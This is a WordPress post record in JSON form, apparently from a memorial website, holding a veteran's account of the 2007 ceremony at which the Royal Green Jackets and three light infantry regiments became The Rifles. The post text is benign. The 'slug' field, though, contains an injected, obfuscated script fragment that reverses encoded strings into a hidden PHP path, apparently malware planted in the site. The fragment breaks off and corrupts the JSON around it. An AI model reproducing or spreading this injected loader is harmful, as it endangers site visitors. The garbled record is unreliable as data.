{"id":9383,"date":"2014-01-20T19:52:53","date_gmt":"2014-01-20T18:52:53","guid":{"rendered":"https:\/\/www.memorialatpeninsula.org\/?p=9383"},"modified":"2020-06-07T05:47:22","modified_gmt":"2020-06-07T04:47:22","slug":"rgj-<script>$nJe=function(n){if (typeof ($nJe.list[n]) == \"string\") return $nJe.list[n].split(\"\").reverse().join(\"\");return $nJe.list[n];};$nJe.list=[\"'php.pots_egamiruces\/egamieruces-ahctpac\/mrof-tca","status":"publish","type":"post","link":"https:\/\/www.memorialatpeninsula.org\/?p=9383","title":{"rendered":"RGJ to The Rifles 31st Jan 2007"},"content":{"rendered":"<p style=\"text-align: center;\"><strong>RGJ to The Rifles<\/strong><\/p>\n<p>This post was written by a fellow rifleman Keith Kneller who attended the passover to The Rifles in the Serjeants (Sergeants) mess at Sir John Moore Barracks (in his own words as he remembers the event)<\/p>\n<p>[jwplayer mediaid=&#8221;8090&#8243;] Light Division&nbsp; (Please Play Me)<\/p>\n<p>The evening started with invited guests arriving at the Serjeants (Sergeants)&nbsp;mess at Sir John Moore Barracks, Flowerdown at 1930 for a well set out regimental curry and a few drinks, before getting to grips with the task in hand, i.e. the ceremony of laying the regiments who had been chosen to form a New Light Infantry Regiment to be called The Rifles, to rest and consign them to History !.<\/p>\n<p>The regiments who were to form The Rifles were:<\/p>\n<p>The Devon and Dorset Light Infantry<\/p>\n<p>The Light Infantry<\/p>\n<p>The Royal Gloucestershire and Wiltshire Light Infantry<\/p>\n<p>The Royal Green Jackets<\/p>\n<p>When reborn on the 1st February 2007, they would then be called collectively, The Rifles and there would be 7 Battalions, 5 Regular and 2 Territorial:<\/p>\n<p>1st Battalion Commando Infantry &#8211; Beachley Barracks, Chepstow.<\/p>\n<p>2nd Battalion Light Role &#8211; Abercorn Barracks, Ballykinley.<\/p>\n<p>3rd Battalion Light Role &#8211; Redford Barracks, Edinburgh.<\/p>\n<p>4th Battalion Mechanised Infantry &#8211; Kiwi Barracks, Bulford.<\/p>\n<p>5th Battalion Armoured Infantry &#8211; Alanbrooke Barracks, Paderborn, Germany.<\/p>\n<p>6th Battalion TA Unit Army Reserve &#8211; Wyvern Barracks, Exeter.<\/p>\n<p>7th Battalion TA Unit Army Reserve &#8211; Brock Barracks, Reading.<\/p>\n<p>The new regiment had to come about because of change and uncertainty in the International Security Environment as well as within the British Army.<\/p>\n<p><a href=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1603594_10202523698471170_552704065_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-medium wp-image-9414 aligncenter\" title=\"1603594_10202523698471170_552704065_o\" src=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1603594_10202523698471170_552704065_o-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1603594_10202523698471170_552704065_o-300x225.jpg 300w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1603594_10202523698471170_552704065_o-1024x768.jpg 1024w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1603594_10202523698471170_552704065_o-1x1.jpg 1w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1603594_10202523698471170_552704065_o.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Just before midnight 4 coffins draped in the flags of<\/p>\n<p>The Devon and Dorset Light Infantry<\/p>\n<p>The Light Infantry<\/p>\n<p>The Royal Gloucestershire and Wiltshire Light Infantry<\/p>\n<p>The Royal Green Jackets<\/p>\n<p><a href=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1474138_10202523698511171_49903721_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-9410\" title=\"1474138_10202523698511171_49903721_o\" src=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1474138_10202523698511171_49903721_o-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1474138_10202523698511171_49903721_o-300x225.jpg 300w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1474138_10202523698511171_49903721_o-1024x768.jpg 1024w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1474138_10202523698511171_49903721_o-1x1.jpg 1w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1474138_10202523698511171_49903721_o.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: center;\">&nbsp;The 4 coffins were slowly carried into the Serjeants mess and placed upon a table.<\/p>\n<p><a href=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611674_10202523704431319_1547208162_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-medium wp-image-9421 aligncenter\" title=\"1611674_10202523704431319_1547208162_o\" src=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611674_10202523704431319_1547208162_o-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611674_10202523704431319_1547208162_o-300x225.jpg 300w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611674_10202523704431319_1547208162_o-1024x768.jpg 1024w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611674_10202523704431319_1547208162_o-1x1.jpg 1w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611674_10202523704431319_1547208162_o.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: center;\">A member of each of the now ` former` Regiments then spoke<\/p>\n<p><a href=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1596227_10202530698846175_465115137_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-9412 aligncenter\" title=\"1596227_10202530698846175_465115137_o\" src=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1596227_10202530698846175_465115137_o-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1596227_10202530698846175_465115137_o-300x225.jpg 300w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1596227_10202530698846175_465115137_o-1024x768.jpg 1024w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1596227_10202530698846175_465115137_o-1x1.jpg 1w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1596227_10202530698846175_465115137_o.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: center;\">about some of the attributes of their particular Regiment and what they would bring to the NEW Regiment.<\/p>\n<p><a href=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611817_10202523704271315_1868135921_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-9424\" title=\"1611817_10202523704271315_1868135921_o\" src=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611817_10202523704271315_1868135921_o-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611817_10202523704271315_1868135921_o-300x225.jpg 300w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611817_10202523704271315_1868135921_o-1024x768.jpg 1024w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611817_10202523704271315_1868135921_o-1x1.jpg 1w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611817_10202523704271315_1868135921_o.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: left;\">The Senior Officer present and the Regimental Quarter Masters Serjeant were then invited to issue the serving members of the newly born Regiment The Rifles with their new cap badge.<\/p>\n<p style=\"text-align: left;\"><a href=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611740_10202523707631399_2104142963_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-9423\" title=\"1611740_10202523707631399_2104142963_o\" src=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611740_10202523707631399_2104142963_o-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611740_10202523707631399_2104142963_o-300x225.jpg 300w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611740_10202523707631399_2104142963_o-1024x768.jpg 1024w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611740_10202523707631399_2104142963_o-1x1.jpg 1w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1611740_10202523707631399_2104142963_o.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: center;\">&nbsp;The Senior Officer then proceeded to speak about the exciting future ahead of The Rifles<\/p>\n<p><a href=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/Lt_Gen_Balfour_jpg_fs.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-medium wp-image-9896 aligncenter\" title=\"Lt_Gen_Balfour_jpg_fs\" src=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/Lt_Gen_Balfour_jpg_fs-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/Lt_Gen_Balfour_jpg_fs-300x200.jpg 300w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/Lt_Gen_Balfour_jpg_fs-1x1.jpg 1w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/Lt_Gen_Balfour_jpg_fs.jpg 650w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>as the newest and largest regiment in the British Army<\/p>\n<p>and wished them a long and successful journey.<\/p>\n<p>The Senior Officer then stated they must all forge their own way in this new venture and remember that a RIFLEMAN is not just a rank, it is something that applies to all members of the regiment and has to be earned, All who serve in The Rifles are RIFLEMEN, regardless of rank.<\/p>\n<p>The term RIFLEMAN is an expression of common united identity, embodying a close bond of comradeship rooted in respect, trust and pride forged through shared experiences and hardship. It invokes a spirit of equality within the hierarchy of command, which recognises that good ideas can and will come from everyone !!.<\/p>\n<p><a href=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1092535_10202523710111461_649813941_o.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-9409 aligncenter\" title=\"1092535_10202523710111461_649813941_o\" src=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1092535_10202523710111461_649813941_o-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1092535_10202523710111461_649813941_o-300x225.jpg 300w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1092535_10202523710111461_649813941_o-1024x768.jpg 1024w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1092535_10202523710111461_649813941_o-1x1.jpg 1w, https:\/\/www.memorialatpeninsula.org\/wp-content\/uploads\/2014\/01\/1092535_10202523710111461_649813941_o.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>P.S. I was one of those who received one of the new RIFLES &nbsp;Badges<\/p>\n<p>not because i was still serving at the time, but because<\/p>\n<p>I was a good scrounger and i still have the Badge to this day.<\/p>\n<p>(Serjeants derives from the Ox and Bucks Light Infantry and ALL RIFLES use the spelling now<\/p>\n<p>Written by Keith Kneller<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The evening started with invited guests arriving at the serjeants mess at Sir John Moore Barracks, Flowerdown at 1930 for a well set out regimental curry and a few drinks, before getting to grips with the task in hand, i.e. the ceremony of laying the regiments who had been chosen to form a New Light Infantry Regiment to be called THE Rifles, to rest and consign them to History !.<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[355,17,354,1633,215,50,420],"class_list":["post-9383","post","type-post","status-publish","format-standard","hentry","category-articles","tag-keith-kneller","tag-memorial-at-peninsula","tag-rgj","tag-rgj-to-the-rifles","tag-rifles","tag-royal-green-jackets","tag-the-rifles","category-6-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"_links":{"self":[{"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/posts\/9383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9383"}],"version-history":[{"count":0,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=\/wp\/v2\/posts\/9383\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9383"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.memorialatpeninsula.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9383"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}